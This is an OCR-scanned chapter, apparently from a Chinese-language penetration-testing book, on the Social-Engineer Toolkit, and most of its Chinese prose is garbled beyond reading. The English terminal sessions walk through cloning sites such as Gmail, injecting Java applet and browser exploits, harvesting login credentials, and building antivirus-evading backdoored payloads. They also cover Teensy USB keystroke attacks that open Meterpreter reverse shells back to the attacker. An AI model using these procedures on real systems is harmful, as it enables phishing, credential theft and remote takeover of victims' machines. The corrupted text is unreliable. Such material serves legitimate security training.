Web Zridi o] & A T AE & SET H BB AXEHIE 2, R ERFERIEH — &3 HAx
MEREAEBRAEER M. SET A A5k A SKEREAT R {5 3 B R R e & —FF R
W, XAEAZEE W MATERN S EERA.

10.3.1 Java Applet

Java applet B(iti i SET P B &I B m & 2 —, X applet j& SET {4/ FF & #& Thomas
Werth T8 . ZEHESIN T EE Java applet F2) 73T 8 R B3 W3S &, #A{R applet RETE
HArd| W ag EWE T, [N thEerE H 5 EVUEIT B 8Bifir. Java applet B ili H A\ AR Java
KGR, H2HE HAAN REEN IRk, MIESEH M ES, HhREERESIT—
MNABE(GIERT Java applet. By Java SRVFRXS—4> applet B FERE B F#HATES, ALY E
KR n#E E Google. Microsoft ERHAMIRETIZFER 7. WiLIE set_config LM, I
WEBATTACK EMAIL #R&RLIT R, IRA] EAZERFE A MR 5| ARGt 7 2.

iEERATE— AN E S R R — AN E 1000 3R MK RBENR. 5%, hE—
A 551% s 7] 32 FR M AR LR 4 JEREA T . JLIR, Bl it Metasploit B harvester #ERAE
HEM R E G R N @<company>.com WHEFHusE. fEAILR REREB] T 200 S ERERHLIEZ J5,
FABER IR RIZSIX 200 MEHZ P ZEGHEAEFRRE TABSNEGET], FHFEXK
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) G 3 2 m RO RUET T REEERR AR A SR S, R R AR R R T
Wik, WUEARE N EEIACHER, M EAAE 5 TR RIHbA 1% 8 TIER R
SFUERR . Ay MIRMR S a8 H AR P OLZ) i A ZE A E

IR P ATz A, — Java applet JEANHESR T Hi2k, I E751% Java applet 2 H 1%
NEZBEE. BT EEFEUR-NEEREF, BEHASE S GEEIT SRR R, XM
SRPATEAENE L L T M TP FEEE Java applet. REH P ERB\EFEIMBAIFE A, 4
LR AT LA B MELAER RS, [FRSE ERE 3 O EN LS. 2 B Sl Java
applet Z2&F 5 HEP FUEATHRM G, — N B A S IAT, B FL58 3 B b5 EHLA shell.
—HYEBARIIPIT, B F RSB EENBISEM E, DRIERHEASW RS R,

SET A LA 5g B — i I s A8 s e op AO38 43 A, X RE 24 H AR A 77 7 1] X e B T (9 4%
MUUEROR AN R R R s B AR X 5 SERE i R4, BATnT LB B SET f& o] 76 Ch itk ik o5
Chttp://www.secmaniac.com) bE A TH]:

root@t:/pentest/exploits/set# ./set

Select from the menu:
0O 2. Website Attack Vectors
Enter your choice: 2
® 1. The Java Applet Attack Method
Enter your choice (press enter for default): 1

The first method will allow SET to import a list of pre-defined
web applications that it can utilize within the attack.

The second method will completely clone a website of your choosing
and allow you to utilize the attack vectors within the completely
same web application you were attempting to clone.

The third method allows you to import your own website, note that you
should only have an index.html when using the import website
functionality.

[!] Website Attack Vectors [!]
1. Web Templates

2. Site Cloner

3. Custom Import

4

. Return to main menu

Enter number (1-4): 2
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SET supports both HTTP and HTTPS
Example: http://www.thisisafakesite.com

® Enter the url to clone: http://www.secmaniac.com

[*] Cloning the website: http://www.secmaniac.com

[*] This could take a little bit...

[*] Injecting Java Applet attack into the newly cloned website.
[*] Filename obfuscation complete. Payload name is: OxvV3cYfbLBI3
[*] Malicious java applet website prepped for deployment

FragiX kB idisn ke, BAIM SET ERHFERE T Web Blili RO, {FH Java applet ¥ i

HHEO, RNEFEMTEFMITCEON . 85, WA SET MEEENMNEERAZO.

What payload do you want to generate:
Name : Description:

2. Windows Reverse TCP Meterpreter Spawn a meterpreter shell on victim and se
back to attacker.

Enter choice (hit enter for default):

Below is a list of encodings to try and bypass AV.

Select one of the below, 'backdoored executable' is typically the best.
16. Backdoored Executable (BEST)

Enter your choice (enter for default):
[-] Enter the PORT of the listener (enter for default):

[-] Backdooring a legit executable to bypass Anti-Virus. Wait a few seconds...
[-] Backdoor completed successfully. Payload is now hidden within a legit executable.

ok e e o o o oo e o o o o oo o o oK o o okl o s o of o sk ke ook ook sk ko ok o o o ok ok o sk o ook ok

Do you want to create a Linux/0SX reverse tcp payload

in the Java Applet attack as well?
sfe sk fe o s e ofe ok e e o e ofe ok e s o o sk o e o e e ok o s o e o o ko o ke ke e s o e sk o e oK sk R ook kR SR ok

Enter choice yes or no: no

sfe e o o e o ofe sl o o o o ok s o o o o o o o o e o e el ol e e o oo o sk o s o ok s o ke o ke R R R

Web Server Launched. Welcome to the SET Web Attack.

s e e e s o ok ool ol e o o 0 o o o ol ok ol ook R sl e o s ool ok o ok e ok e ok o kel ok

[--] Tested on IE6, IE7, IE8, Safari, Chrome, and FireFox [--]

[*] Launching MSF Listener...
[*] This may take a few to load MSF...
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5 SET HAbFGEH vEh —#E, B o LLEFR b B8, BRIAR) Meterpreter S [ 2
FRHGORE R A%, EXAN KSR, MR Gm Ly A R O )RR, B
A& T UL E AR A ETI®. EFTAIE T L)/, SET J&33) Metasploit:

resource (src/program_junk/meta_config)> exploit -j
[*] Exploit running as background job.

© [*] Started reverse handler on 10.10.1.112:443
[*] Starting the payload handler...
msf exploit(handler) >

Set # % T metasploit B EIEIR, BJSTE 443 4 35 FF meterpreter M@ .

2R, RELZ4E T —AALKET hitp//www.secmaniac.com/® T # Web IR, ww XAk
15 2B B XA # 7 B T WEBATTACK EMAIL, SET 2R FhE A48 sk EE, #HXK
T — sk R, -

BAE, —VIRkek, R EREMITERABREIZBEM IR L. JRERIXAMIE, H
FaBE B A A AR EERHE, WE 10-2 fra, MR BEHST SHIET S HE, ™
H#&EREHBAFHESXAM BARERARSET, KR E HREVRZETI

2% SET A EH 1 RAEATAM 8.4 F2F Java Applet 2%, % H 472 -KE4T4F) o
BT MATE, B AReh) I E 3 26 3| 6-7% 69 secmaniac M 35 k.,

Warning - Security
The application's digital signature cannot be verified.
Do you want to run the application?

Marme:
Publisher: Microsoft
From: hetp:/f172.16.32.137

(] Blways Erust content from this publisher |

Fur Carcel

Thee digitall sigrusture cannol be serfiad by a trusted source. Ondy
@ run F you trust the origin of tha application, Wor Do

B 10-2 Java Applet 3 iHHE
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B BRI B AL, Meterpreter Wi &8 &R, BATIER LURE I T BB A FE
KViE HbRENT .

msf exploit(handler) > [*] Sending stage (748032 bytes) to 10.10.1.102
[*] Meterpreter session 1 opened (10.10.1.112:443 -> 10.10.1.102:58550)

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

shellmeterpreter > shell

Process 2800 created.

Channel 1 created.

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator\Desktop>

10.3.2 FERim Web ILi

SET i 7] LAFIFH % /7 i Web 2B Bk . XN REIH, BRITBEBRBERSEBHH,M
Java applet, MM Metasploit P HESI AR T P umi2iE L, R ERRAKLHEIS. BE4H
FPWEER S, RLAT I T EE 500E H R R P ETE R T RERI IR, IR i
MiES Oday Ziiti: HE—MEFX Oday Wi A2 E RS HELAE Metasploit H, HBA % 7 LAZE
JU/NE R AT AR SET 3 THIHRE &A1 T .

EX 7P, BAKESR LEAANKEgR, BRRIVEMEHAE S, &5 EE
E X B AR AR . SET 4 KL BOUH AR R4 5T IE MMI8E00, 2488, 3t Firefox
W AR e e, EHEERDHNHGEH A Z. EXDRGIP, AL # SR kK
i Google 1) Aurora B[ . FFERFTEL, BIAIIT dr4-:

root@bt:/pentest/exploits/set# ./set

Select from the menu:

O 2. Website Attack Vectors
Enter your choice: 2

® 2. The Metasploit Browser Exploit Method
Enter your choice (press enter for default): 2
[1] Website Attack Vectors [!]
© 2. Site Cloner
Enter number (1-4): 2
SET supports both HTTP and HTTPS

Example: http://www.thisisafakesite.com
@ Enter the url to clone: http://www.secmaniac.com
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7F SET 3N itk Web KO, 2 /5iEH Metasploit 3 WA HEO, H—F
M LT O, AR K WG hetp:/www.semecmaniac.com® . — H 34 T,
AT TR EE ST H AR FH 5 5 N B fid 2 B R TRVE B A G

Enter the browser exploit you would like to use
© 16. Microsoft Internet Explorer "Aurora”

Enter your choice (1-23) (enter for default): 16
What payload do you want to generate:

Name : Description:

2. Windows Reverse TCP Meterpreter Spawn a meterpreter shell on victim and send
back to attacker.

® Enter choice (example 1-10) (Enter for default):
Enter the port to use for the reverse (enter for default):

] Cloning the website: http://www.secmaniac.com

] This could take a little bit...

*] Injecting iframes into cloned website for MSF Attack....
] Malicious iframe injection successful...crafting payload.
] Launching MSF Listener...

*] This may take a few to load MSF...

*

resource (src/program_junk/meta config)> exploit -j
[*] Exploit running as background job.

msf exploit(ms10 002 aurora) >

[*] Started reverse handler on 10.10.1.112:443

[*] Using URL: http://0.0.0.0:8080/

[*] Local IP: http:// 10.10.1.112:8080/

[*] Server started.

P PR B P Im BGE i, RE S OB IR R . B L HEATE, &
f1EFEE 4 1 1IE Aurora IiFSBRINO, [FA B2 % FHER A K Meterpreter 2 ¥ x0T i 4§
ey P BC B T

X H hrd S B hrtp://www.secmaniac.com &, BMIUELIER, HELR L, BHRARGCEHE
AHESE (iframe) JEAFHIT % FEHL. SET BEN M TZHT T EBH, OF T — M HLH
HESRANAS, RSERE% J im It .

E B BEEHL B, HdiEaxIEECLBRI) T . Meterpreter M BARE|BUEHLRE BIERE S
HOEEY, RN TEEHEFREN. WTFFx:
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mst exploit(handler) >
[*] Sending stage (748032 bytes) to 10.10.1.102
[*] Meterpreter session 1 opened (10.10.1.112:443 -> 10.10.1.102:58412)

mst exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

shellmeterpreter > shell

Process 2819 created.

Channel 1 created.

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator\Desktop>

10.3.3 AR RAMEIBIRE

ERH AP 7, BRATH HARRIRI T 6 EHREEIREE . SET H - MEXHEH T
AEZ, EANREREMITHIIEE, ELCRBRDGERMITA M MWERER. EFMIT
., SET ¥j il Gmail KIERF W, F B3hEE POST vk, SIHE(FE S POST 2| SET & & /)
™LAl 55 2% EATOI G )5 A EE ) B Ak m s b

O 3. Credential Harvester Attack Method

Enter your choice (press enter for default): 3
[!] Website Attack Vectors [!]

® 2. Site Cloner
Enter number (1-4): 2

Email harvester will allow you to utilize the clone capabilities within SET

to harvest credentials or parameters from a website as well as place them into
a report.

SET supports both HTTP and HTTPS
Example: http://www.thisisafakesite.com
©® Enter the url to clone: http://www.secmaniac.com

Press {return} to continue.

[*] Social-Engineer Toolkit Credential Harvester Attack

[*] Credential Harvester is running on port 80

[*] Information will be displayed to you as it arrives below:
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TEIZHE T Web By M RO MK EFEBAFILIN)E, EFMARKELENO., XPHHHE
MRREFFER D, NFESFEEERMNE URL (htp:/www.secmaniac.com) O N\ %] SET
F, BREM T TFEATAEREE.

W TR 95 2512 AT H SR B AN . (BRI AT 2 H), VRAT LLZEXF 1§ 5L T 4T FF Web
K& I (WEBATTACK _CONFIG=0ON), [Ai} SET 22/ ¥R 27 & BB R W84 ki H
brod . —F Gmail FRUH —E—HFNHNEBSEAEEFRAET. 4EHH
FPRIACHRENRE, M3 EE R FHIES K Gmail T, FNPLITESBE RIS
BULE .

10.10.1.102 - - "GET / HTTP/1.1" 200 -

[*] WE GOT A HIT! Printing the output:

PARAM: ltmpl=default

PARAM: ltmplcache=2

PARAM: continue=https://mail.google.com/mail/?

PARAM: service=mail

PARAM: rm=false

PARAM: dsh=-1174166214807618980

PARAM: ltmpl=default

PARAM: 1tmpl=default

PARAM: scc=1

PARAM: ss=1

PARAM: GALX=S3ftXFIwwOE

POSSIBLE USERNAME FIELD FOUND: Email=ihazomgsecurity2390239203
POSSIBLE PASSWORD FIELD FOUND: Passwd=thisisacomplexp@55wOrd!!!!!
PARAM: rmShown=1

PARAM: signIn=Sign+in

PARAM: asts=

[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.

SET A — 1T HWE AR AP SHERRERNRLFERANSH. FRARmRELE R
VBN P 2 NEESE, XHETTUERENGEXSEBESMERGER.

— HARTERR T X B bRBURfE B RVIKEL, i CTRL-C £ — %, Wl 10-3 Fix, M
fEH XML 1 HTML k&=,

SET Fril B /Y Web k%5 2% 2 Z &2/, B/ LB KBAIER. JREBHFRENT LA
AR, SET & B3R ERAFLEE S5 HAF6E, MR — A aENIRE .

PRAE T BAREER B HO RS B2 H B XML e ER L, UMENEE 2 ARIH AL T R s s £ .
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B 10-3 UG BAREER &

10.3.4 FRZEWEHIFHE

T KR SR EA R, HirA A EN RS PIT AL MR, V7 bl AR 15 7
EEM TN, Sl T HRPH SRR, WMIURERIL “ U EERE, %"
FI3RRIHE, T2 HARE P UI#ARE ), R IV 2] & S B B R — MR ET,
HEE SR, W HEER SRR SR IEER W B AR P ST A £

Kb B, BinR P ABCEEM TR 5 — NS EMERN ARSI, HAEMEED
7] SA ) E-mail A BV SN A, SFEERETEXR, SthEX IR REE 6 M 5T h i
MBBIBURE B Z G, HR2BEE R EAEM G, X BRE P 8UEE RS A mARGE
MR BT H . PR ] LUEIE SET A Web Bzt [u] 8% 1 R FrdE TR SR

10.3.5 W AIE

i [8) N B8 A HTTP referer HLEIA — N 2 Z IR Mz, SMHBHERAERT (XSS),
i HBRR B BURE BB IR /) HTTP R85, WRIRRIL T — I BHARRE, Ri5
RIEFFHHMEHE URL S HEZH S, YBAE P AdRgEE, NIUERET, BREYER
H P EFZBFEARER, MEABURGEEMSgE RS NS H. PEAKSG R & LIE SET /Y
Web Bt [ Boige L $ .
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10.3.6 MAFFF

M B R SET 0.7 FRAH TR IhAE, & RVFIROIE N ERERY R, S il
— PN AR O SR 2 A B R RIS HArH 7 . S H s % R e & W)
%, BB ETERE URL, MARBGHERREM URL. #llr: My w2
https:/gmail.com, #34 B¥rH P EAREIEZ URL _ERINE, 2488 2 https:/gmail.com,
SR 244 £ 7i% URL IR, Gmail P 0T #5550 1% @ I RS Web RS B FTIUE.

XA B R T TR ERHER SRR, YHEHP P EAABTE URL LN, LR
P EIRETE s B S M s . S BAr s URL B, HZIHESR B, & Bk KB T
FH 8 o B i A T B R B0t 3 o] LU IS8 2 config/set_config TN RAE 2L Web B #1113 5
T 14] .

i FZ B B R B & SET, 75 2%+ Web Jacking Attack Method® /1 Site Cloner®, [
A 3 By AR S5 e ) 3 teps:/gmail.com®, 1T i

©® 6. Web Jacking Attack Method
Enter your choice (press enter for default): 6
[!] Website Attack Vectors [!]
® 2. Site Cloner
Enter number (1-4): 2
SET supports both HTTP and HTTPS
Example: http://www.thisisafakesite.com

@ Enter the url to clone: https://gmail.com

[*] Cloning the website: https://gmail.com
[*] This could take a little bit...

The best way to use this attack is if username and password form
fields are available. Regardless, this captures all POSTs on a website.
[*] I have read the above message. [*]

Press {return} to continue.

[*] Web Jacking Attack Vector is Enabled...Victim needs to click the link.

S HBHP R LM TR R, S ERIWE 10-4 FrosfiEd, TEREAE TAY URL
% B2 https://gmail.com .
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il i Vs Peawies  Teah  Ewp

0w 0 MO S e @ - RES
[ --ﬂ"lp N Y Lk A B ol - ; . I:" (23

The site h_ltpn:s's‘glnnil_.¢qm_gﬁ3 moved, click here to go to the new location.

P R e e

B 10-4 A 3h DA [ 5o R I T )

-

e bR S S R M R, S R IR E A TR AT A2 B 10-5 AR #AT Gmail X8 5LH]
— ¥ —FER) SO BE DI .

wmw-r—:—mr*n—-—ﬂi—r r - o - . e L et o PR

Gmal @ bl on the e Bl el Cak be sone shpive sflicenl end eeksl B raybd eeen Ry Sler o Cimad ke Ll ‘:#' Accaurt
T
&l gl '
' wer MU ERAR) by 7] e ol
ELLE ]
L ipars [ Stay megranel i
P Ui ed (2] Eai IE
tttt . ] SRS s v
(L]

e —

A 10-5 TLRER) Gmail M0 7T

!

R FIZEE 10-5 LT BRH URL 85 T RAH Web IR aRHLE, F/8E TP, KW
DU 4, LB R R E . — B HARE P IEMNAERA TR 4

M4, RarE AR BRI O8RERE T .
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10.3.7 ZEBEWETLE

Er ey Bk ) B R BGE ERA R R EGE R R EGE R, ER IR EILGE. EAFH
HHEREH A ARABEGERE, AR NEERER Web TTHEESEHEE . =3 B P R
E, RO IGETE P B KOO HARSEATEGE . B2 EBGEG AR IEFE RN, &
—4E R, Java applet Gl ol BEAS AT, HER WA IE W a2 E NG I gES T BX
# Java applet FI% /7 4 ) IE $I) W82 B M A R, (B8URE B ST EUA S BEB Al ) .

T M, B &R # A Java applet B idi, Metasploit 2% F i3 B0, LA M TIH)
FYd. YEAPNEEEEM IR, Ry pdX e, KHE Java applet BT,
Metasploit 75 /7 3 72 3% Bk LA S W 00 Bl 4 BUeh ¥ 2 R ME U R S Oy H b . XL BT IRHEFE TE7
% P iR, H AR P ER IE6 WA ITNR, KERE -MBCERKMEER T, K
fth By 77 i & a0 4e] B Th YD«

. The Java Applet Attack Method

. The Metasploit Browser Exploit Method
. Credential Harvester Attack Method

. Tabnabbing Attack Method

. Man Left in the Middle Attack Method
. Web Jacking Attack Method
Multi-Attack Web Method

. Return to the previous menu

00 =1 O N Pt BJ

Enter your choice (press enter for default): 7
[1] Website Attack Vectors [!]

® 2, Site Cloner
Enter number (1-4): 2

©® Enter the url to clone: https://gmail.com
Select which attacks you want to use:

. The Java Applet Attack Method (OFF)

The Metasploit Browser Exploit Method (OFF)

. Credential Harvester Attack Method (OFF)

. Tabnabbing Attack Method (OFF)

. Man Left in the Middle Attack Method (OFF)

. Web Jacking Attack Method (OFF)

. Use them all - A.K.A. 'Tactical Nuke’

. I'm finished and want to proceed with the attack.
. Return to main menu.

mmqmmhwyh-

Enter your choice one at a time (hit 8 or enter to launch): 1
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Turning the Java Applet Attack Vector to ON

Select which attacks you want to use:

Enter your choice one at a time (hit 8 or enter to launch): 2
Turning the Metasploit Client Side Attack Vector to ON
Option added. Press {return} to add or prepare your next attack.

Select which attacks you want to use:

Enter your choice one at a time (hit 8 or enter to launch): 6
Turning the Web Jacking Attack Vector to ON
Select which attacks you want to use:

. « SNIP . . .

Enter your choice one at a time (hit 8 or enter to launch):

G EC B B6d 730, 76 KL% FF Multi-Attack Web Method®, 2 j5i%$% Site Cloner®,
HE A ETER Y URL: hitps:/gmail.com®; SRJ5, SET ¥ LR AR B 7 s S8 .
IEFE Java applet BiHFO®. Metasploit X P ERBBEFHO, D ENMAH{FEGEHFEO. Rivnl
LLIEFEIL TN 7—Use them all - A.K.A. 'Tactical Nuke', 3% Qs H & ¥ m BT oo .

EFXK, BFEMACLICE MK, Java applet Zifi. Metasploit & P B &R . M T
ShFFBh, VRGN GHOET G, B/EHE M enter BaLH % 8 (—UI5k
L DF

Enter your choice one at a time (hit 8 or enter to launch):
What payload do you want to generate:

Name : Description:

O 2. Windows Reverse T(P Meterpreter Spawn a meterpreter shell on victim and send
back to attacker.

Enter choice (hit enter for default):
Below is a list of encodings to try and bypass AV.
Select one of the below, 'backdoored executable’ is typically the best.

® 16. Backdoored Executable (BEST)
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Enter your choice (enter for default):
[-] Enter the PORT of the listener (enter for default):

[-] Backdooring a legit executable to bypass Anti-Virus. Wait a few seconds...
[-] Backdoor completed successfully. Payload is now hidden within a legit executable.

s s e o o o o R R ok e S o e e R R R R R R R R R R R R e R e Rk

Do you want to create a Linux/0SX reverse_tcp payload
in the Java Applet attack as well?

e e e e e o o o o e e e o o o o o S e e R o s ok R R ko R K ok Rk

® Enter choice yes or no: no
Enter the browser exploit you would like to use

® 8. Internet Explorer 7 Uninitialized Memory Corruption {MS09-002)
Enter your choice (1-12) (enter for default): 8

[*] Cloning the website: https://gmail.com

[*] This could take a little bit...

[*] Injecting Java Applet attack into the newly cloned website.
[*] Filename obfuscation complete. Payload name is: x5sKAzS

[*] Malicious java applet website prepped for deployment

[*] Injecting iframes into cloned website for MSF Attack....
[*] Malicious iframe injection successful...crafting payload.

resource (src/program_junk/meta_config)> exploit -j
[*] Exploit running as background job.

msf exploit(ms09 002 _memory corruption) >

[*] Started reverse handler on 172.16.32.129:443
[*] Using URL: http://0.0.0.0:8080/

[*] Local IP: http://172.16.32.129:8080/

[*] Server started.

A TR RS PR, EFREIEFERK AN Meterpreter R R BGHEHO, AL
RIS MR ER e, AEAE Linux 1 OS X B Hfr@©, w2828 W (IR R
A & Internet Explorer 7 Uninitialized Memory Corruption (MS09-002)®, 2 J5 SET ¥ &t ¥t .

— B IFEELT, WA EE EM TR, —4 URL {5 B&Rap KA M T EE
BahB| ATy . & 10-4 8715 T BErA P EMRF N KR FERERING R

R X/, Metasploit i &121T, THZEE &K — S EFN.

[*] Sending Internet Explorer 7 CFunctionPointer Uninitialized Memory
Corruption to 172.16.32.131:1329...

XRBBREHERMT, BARIMEANEE IE6 AN EE, XnHEB P ELRERE S
FEWE 10-6 FrffER.
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A Google approach to email (oo Swcomy ¥ S e vy .
il 10 Bapl ar ke da g [l el O g Da eoed ol i ee W enl Thue eﬁdln.‘llﬂﬂ'iﬂﬂltﬂmlFF-’i‘l’lﬂ b= e ifie=l. {-.-I'l.ﬁ‘h' Accournt |
Dyl winrmt fo run the applications g ey ama |
Lo af npace o [l aing = 1T E
Chpr 755 | BECEED sagabptes 19 ©ounbing) of rse toe 5 r
e Hagmarrd |
] Stay sagyved v |
L i mpam Fublsher;  Merisdl .|:-1" " :
Faip iprannisd mesnsgei ol o peuwr ieb=as LT 1 21 L :
! Mabils scca - [ ey bt g Frims Thes bt eelereiinad dronn. |
Gl Gl oof yined Skl phars LB FHA & 5 S— |
A CETTE i
|
o T Sk Lm =l 'y e wred ¥ 1
: e e by werfnl ke o bsbed s e 1
II,LL' :l-mr—h.d s g il i P i |
Creste an ascourd |

10-6 ZEHHMLZLERHEE

BAVEE ZANIGESN R, BisATFHIEBIT T %EN Java applet, -~ Meterpreter shell JF 4
ZAT, R H bR 588 4 8 5 17 B IEH 8 Gmail PG, XRBE I T -

VERE BI{E H Java applet B, A4S BEHE Meterpreter 2L 3| notepad.exe T, XFf, B
fEEFRH KA T X, BRIMBASENHFER A2 1E Meterpreter shell. R, Bldi#
A DAZERC B S0 %% “Java Repeater” 3EI0, XFFWEA P Ay THRHBRBER T, &iEa]
LLil Java applet BRIEAE ML, XPEA] LAk HARE A 5k £ s drig T8

FEBBIH I 5, Meterpreter shell # & BUIEE H RAERAEA, W0 FHxR:

[*] Sending stage (748544 bytes) to 172.16.32.131
[*] Meterpreter session 1 opened (172.16.32.129:443 -> 172.16.32.131:1333) at
Thu Sep 09 12:33:20 -0400 2010

[*] Session ID 1 (172.16.32.129:443 -> 172.16.32.131:1333) processing
InitialAutoRunScript 'migrate -f'

[*] Current server process: java.exe (824)
[*] Spawning a notepad.exe host process...
[*] Migrating into process ID 3044

[*] New server process: notepad.exe (3044)
msf exploit(ms09_002_memory corruption) >

e, BATEARMRBELS KW, 0 H AR Java applet E-HEAGHUER (BF
FEEESHHET) . BisH BT RS EREXSPRALK AP 2 NEN. XE[RATH
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CLA S BRI B AR VRS B AR iR . i B AR SdiiE4T Java applet, X
FHT EIVEAR S — 1 Meterpreter shell, {H4KER v LLELEUEH P #BURE B

[*] WE GOT A HIT! Printing the output:

POSSIBLE USERNAME FIELD FOUND: Email=thisismyusername
POSSIBLE PASSWORD FIELD FOUND: Passwd=thisismypassword

[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.

IEWPRAERT R R E B AEE, SET TRAEPRMEE T KE HIEER AR Web B T
H. REFENERAEGRHmAEE -PraEMRGZERN, BEEXSHHEFZERNSE
KR, BRSSO, [l ZE ] 5 59 5T i e fig S 8 S X W A i
SRS . SET 15 B ol AR 0y B ) W 3 R i 5 ] ) X Ar i e, T Bt = ae g I ik
~EARIBIRA A |

10.4 fRMHREAE AL BT

A6 ek AR A R 5 R — MR T B R e i B, BEDX M, SET AT, R
o] LU IR 415] CD/DVD Y4 b, sRE 655 USB IREhae . — B M s A5 5
FrERLLE, Autorun.inf XS Ba1ME, HiE4T autorun.inf W8 E KL E I,
HAl, SET SZIFMmarshficf (Blin: Meterpreter), [ % & Cfh4& ARIABBERE ()
ﬁﬂ_ adobe JiA B ).

10.5 Teensy USB HID ¥iFHE £

Teensy USB HID  ( AML3E L1 &) Tk [a) & A2 s A e 1 F00 o S 4 AR fol et PR oht| B i
AHFERAEG. MEZEE X KL, “IRERRKFIEA—K CD/DVD JXff, :HF I USB &
%, R BB BB A RIE, autorun.inf A GE B BHPUTIRTEX B EEN P EE KK
BOCH. R0, FA Teensy USB HID, {REEMSAIH —DMRBMEAIR, JHEEARZXMREHE
i, FERR R AN, M AEERZ RN AE2E R, Ml lRE —ARtdias
2 B ¥r AL L, #Em e S iR EVL, A S B s B0 T8 - 4R UM http://www.prjc.com/
vl S 3k B2 F Teensy USB HID EHARIGER .

EATMEH Teensy USB HID #4174 Metasploit L8 T &H. £ FEAOB F5, KA
95—/ N WScript BIARE, 7ZEHirEN L TFEFPATEE SR O, BRI LISE4iET
SET KiA poixX fh Bl FiR .

Select from the menu:

Q@ 6. Teensy USB HID Attack Vector

Enter your choice: 6
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Welcome to the Teensy HID Attack Vector.
Special thanks to: IronGeek and WinFang

1. Powershell HTTP GET MSF Payload
@ 2. WSCRIPT HTTP GET MSF Payload

3. Powershell based Reverse Shell

4. Return to the main menu.

Enter your choice: 2
® Do you want to create a payload and listener yes or no: yes
What payload do you want to generate:

Name : Description:
. « SNIP . . .

2. Windows Reverse TCP Meterpreter Spawn a meterpreter shell on victim and send
back to attacker.

@ Enter choice (hit enter for default):
Below is a 1ist of encodings to try and bypass AV.
Select one of the below, 'backdoored executable' is typically the best.

l!iE‘HIPIl‘I
16. Backdoored Executable (BEST)

@ Enter your choice (enter for default):
[-] Enter the PORT of the listener (enter for default):

[-] Backdooring a legit executable to bypass Anti-Virus. Wait a few seconds...
[-] Backdoor completed successfully. Payload is now hidden within a legit executable

[*] PDE file created. You can get it under 'reports/teensy.pde’
[*] Be sure to select "Tools", "Board”, and "Teensy 2.0 (USB/KEYBOARD)" in Arduino
Press enter to continue.

[*] Launching MSF Listener...

resource {src/program junk/meta config)> exploit -j
[*] Exploit running as background job.

msf exploit(handler) >

[*] Started reverse handler on 0.0.0.0:443

| *] Starting the payload handler...

AR T X R, 76 F 34 L %EFF Teensy USB HID Attack Vector®, 2 ) i%k+F
WSCRIPT HTTP GET MSF Payload®, /5% 1F SET S& — MEdi# A f i rim 1@, ik
FEERA B Meterpreter B i @M 4wh5 77 @ .
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HAE, PRERT —AMG% h.pde B30, RTEE FEAERH Arduino #H, ZEALTI@
B OA LA SRSR1F pde 30, EASBIUREY Teensy B

EFatix A, FEEE PIRC Chttp://wwwpjre.com/) 25 HEHRS, EAAVREZEATHIE
EACHE 3| TEENSY B USB (5 H MR Eo IXANEFRAHAT R 362 LU R 8, AR T & L% Teensy
WARFEREEE, Z2EE<EF2 4% Arduino  (Arduino/Teensy 3 #F Linux. Mac OS X EA
K Windows ¥4 R4 F &) 1 IDE #: 1 . B E K — LR I/R T E 688 EERES] Teensy USB
gt/ Mas L, Wk 10-7 Fros:

Tools

Auto Format T
Archive Sketch
Fix Encoding & Reload

Serial Monitor XM

O ™ Teensy

e @

HEeTEEEOPEP =y
p‘a .. i‘_*r L -Fr"‘- Ei.l:llf..I

rJ_ :'_..'I |

[ Teensy 1.0

- a Lerial Port » o Teensy 2.0
Press Button "n . USE Type (3 Teensy++ 1.0
To Activate S, CPU Speed » Teensy++ 2.0

(]
s B,

ssiat250335LT Bootload N Arduing Uno
_ Guen Sootioacer — Arduino Duemilanove or Nano w/ ATmegai28

Arduino Diecimila, Duemilanove, or Mano w/ ATmegal68
Arduino Mega 2560

Arduino Mega (ATmegal2 80)

Arduino Mini

Arduino Fio

Arduino BT w/ ATmega328

Arduino BT w/ ATmegalbB

LilyPad Arduino w/ ATmegal2B

LilyPad Arduino w/ ATmegal68

Arduino Pro or Pro Mini {5V, 16 MHz) w/ ATmegaiZ8
Arduino Pro or Pro Mini (5V, 16 MHz) w/ ATmegalbi
Arduino Pro or Pro Mini (3.3V, B MHz) w/ ATmegai28
Arduino Pro or Pro Mini (3.3V, B MHzZ) w/ ATmegalGcs
Arduino NG or older w/ ATmegalés

Arduino NG or older w/ ATmega8

B 10-7 BL#E Teensy &

— Y& i, 2 AR pde SCAHEA R Arduino #2197, N B4 A VRE USB &I L
A0S, XSRS SET KR ENRS—&. B 10-8 /n T IEZE LIe0H.

KRG RE USB B&iEA T Bin N, R AR H3AT, RiamaT LIES —4
Meterpreter shell:

[*] Sending stage (748544 bytes) to 172.16.32.131
[*] Meterpreter session 1 opened (172.16.32.129:443 -> 172.16.32.131:1333) at
Thu June 09 12:52:32 -0400 2010

[*] Session ID 1 (172.16.32.129:443 -> 172.16.32.131:1333) processing
InitialAutoRunScript 'migrate -f’
[II:

] Current server process: java.exe (824)
[*] Spawning a notepad.exe host process...
[*] Migrating into process ID 3044

[*] New server process: notepad.exe (3044)
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™ % 2 Teensy

I¢w.

2 =1 L = [ie k)| 1 1 ol
s LA EEES Y XN w Added YALT coda" print function
iml -
T L u ol ¢ (onge path e

Press Button "_'B
To Activate

chor conmvert[4] = "00a° it chon )
iy commandl[] = "powershell -Command !. nt = new-objsct Systen. Net . WeblClisnt jfurla "http:/ 17

] . " i
li.tt'd'l mrlhﬂpﬂmtuﬂ il | cmd;[l = “MHOHERATHR

vl setup) {
de | ory (5006 ) ;
oing | commandl ) ;
de lory (15888 ) ;
£ run thils executable
omig { commanid? S
e o 20087 ;
Keyboard.set_modif {er(HODIF IERKEY _CTRL Y;
Eeyboard . set_keyl{KEY_ENTER);
keyboard . send_now( );
Kevbooard.set_modif{er(8);
Kevboord.set_kevl(8);
Keyboard . send_now( );
e o 1BIBEBAA ) ;
} .

O I T i -|'__'|-

ﬂﬂ'

void ascii_type_this{char *string)
int count, length;
length = strlen{string);
forfcount = B § count « length § count+s)
{
har a = string[count];
azcii_input{oscii_convert{a));

)

m o p— fae

-

a el

10-8 Teensy B i f0RY F4%

10.6 SET BYEAME4FHE

BAIATREEA P SET TREMNEN THBE RS, (BE SET L —LEHA —#
